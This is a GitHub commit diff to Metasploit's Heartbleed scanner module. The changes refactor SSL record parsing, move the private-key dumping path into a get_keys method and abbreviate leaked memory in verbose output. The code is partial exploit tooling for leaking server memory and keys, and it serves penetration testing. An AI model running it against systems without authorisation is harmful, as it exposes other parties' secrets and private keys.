Skip to content

Commit e8dacf3

Browse files
committed
Land rapid7#6182, Heartbleed scanner improvements
2 parents a2fe2fb + ce3f9e2 commit e8dacf3

File tree

1 file changed

+65
-31
lines changed

1 file changed

+65
-31
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 65 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
7171
0x00ff # Unknown
7272
]
7373

74+
SSL_RECORD_HEADER_SIZE = 0x05
7475
HANDSHAKE_RECORD_TYPE = 0x16
7576
HEARTBEAT_RECORD_TYPE = 0x18
7677
ALERT_RECORD_TYPE = 0x15
@@ -79,7 +80,6 @@ class Metasploit3 < Msf::Auxiliary
7980
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
8081
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
8182

82-
8383
TLS_VERSION = {
8484
'SSLv3' => 0x0300,
8585
'1.0' => 0x0301,
@@ -99,6 +99,9 @@ class Metasploit3 < Msf::Auxiliary
9999
# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
100100
SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14)
101101

102+
# For verbose output, deduplicate repeated characters beyond this threshold
103+
DEDUP_REPEATED_CHARS_THRESHOLD = 400
104+
102105
def initialize
103106
super(
104107
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
@@ -203,18 +206,13 @@ def run
203206

204207
# Main method
205208
def run_host(ip)
206-
# initial connect to get public key and stuff
207-
connect_result = establish_connect
208-
disconnect
209-
return if connect_result.nil?
210-
211209
case action.name
212210
when 'SCAN'
213211
loot_and_report(bleed)
214212
when 'DUMP'
215213
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
216214
when 'KEYS'
217-
getkeys
215+
get_keys
218216
else
219217
# Shouldn't get here, since Action is Enum
220218
print_error("Unknown Action: #{action.name}")
@@ -424,20 +422,15 @@ def establish_connect
424422

425423
vprint_status("#{peer} - Sending Client Hello...")
426424
sock.put(client_hello)
427-
server_hello = get_data
428-
unless server_hello
429-
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
430-
return nil
431-
end
432425

433-
server_resp_parsed = parse_ssl_record(server_hello)
426+
server_resp = get_server_hello
434427

435-
if server_resp_parsed.nil?
428+
if server_resp.nil?
436429
vprint_error("#{peer} - Server Hello Not Found")
437430
return nil
438431
end
439432

440-
server_resp_parsed
433+
server_resp
441434
end
442435

443436
# Generates a heartbeat request
@@ -455,7 +448,7 @@ def bleed
455448

456449
vprint_status("#{peer} - Sending Heartbeat...")
457450
sock.put(heartbeat_request(heartbeat_length))
458-
hdr = get_data(5)
451+
hdr = get_data(SSL_RECORD_HEADER_SIZE)
459452
if hdr.nil? || hdr.empty?
460453
vprint_error("#{peer} - No Heartbeat response...")
461454
disconnect
@@ -533,16 +526,34 @@ def loot_and_report(heartbeat_data)
533526
print_status("#{peer} - Heartbeat data stored in #{path}")
534527
end
535528

536-
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
529+
# Convert non-printable characters to periods
530+
printable_data = heartbeat_data.gsub(/[^[:print:]]/, '.')
531+
532+
# Keep this many duplicates as padding around the deduplication message
533+
duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round
534+
535+
# Remove duplicate characters
536+
abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s|
537+
s[0, duplicate_pad] +
538+
' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' +
539+
s[-duplicate_pad, duplicate_pad]
540+
end
541+
542+
# Show abbreviated data
543+
vprint_status("#{peer} - Printable info leaked:\n#{abbreviated_data}")
537544

538545
end
539546

540547
#
541-
# Keydumoing helper methods
548+
# Keydumping helper methods
542549
#
543550

544551
# Tries to retreive the private key
545-
def getkeys
552+
def get_keys
553+
connect_result = establish_connect
554+
disconnect
555+
return if connect_result.nil?
556+
546557
print_status("#{peer} - Scanning for private keys")
547558
count = 0
548559

@@ -681,11 +692,32 @@ def client_hello
681692
ssl_record(HANDSHAKE_RECORD_TYPE, data)
682693
end
683694

684-
# Parse SSL header
685-
def parse_ssl_record(data)
686-
ssl_records = []
687-
remaining_data = data
695+
def get_ssl_record
696+
hdr = get_data(SSL_RECORD_HEADER_SIZE)
697+
698+
unless hdr
699+
vprint_error("#{peer} - No SSL record header received after #{response_timeout} seconds...")
700+
return nil
701+
end
702+
703+
len = hdr.unpack('Cnn')[2]
704+
data = get_data(len)
705+
706+
unless data
707+
vprint_error("#{peer} - No SSL record contents received after #{response_timeout} seconds...")
708+
return nil
709+
end
710+
711+
hdr << data
712+
end
713+
714+
# Get and parse server hello response until we hit Server Hello Done or timeout
715+
def get_server_hello
716+
server_done = nil
688717
ssl_record_counter = 0
718+
719+
remaining_data = get_ssl_record
720+
689721
while remaining_data && remaining_data.length > 0
690722
ssl_record_counter += 1
691723
ssl_unpacked = remaining_data.unpack('CH4n')
@@ -702,17 +734,19 @@ def parse_ssl_record(data)
702734
else
703735
ssl_data = remaining_data[5, ssl_len]
704736
handshakes = parse_handshakes(ssl_data)
705-
ssl_records << {
706-
:type => ssl_type,
707-
:version => ssl_version,
708-
:length => ssl_len,
709-
:data => handshakes
710-
}
737+
738+
# Stop once we receive a SERVER_HELLO_DONE
739+
if handshakes && handshakes.length > 0 && handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE
740+
server_done = true
741+
break
742+
end
743+
711744
end
712-
remaining_data = remaining_data[(ssl_len + 5)..-1]
745+
746+
remaining_data = get_ssl_record
713747
end
714748

715-
ssl_records
749+
server_done
716750
end
717751

718752
# Parse Handshake data returned from servers

0 commit comments

Comments
 (0)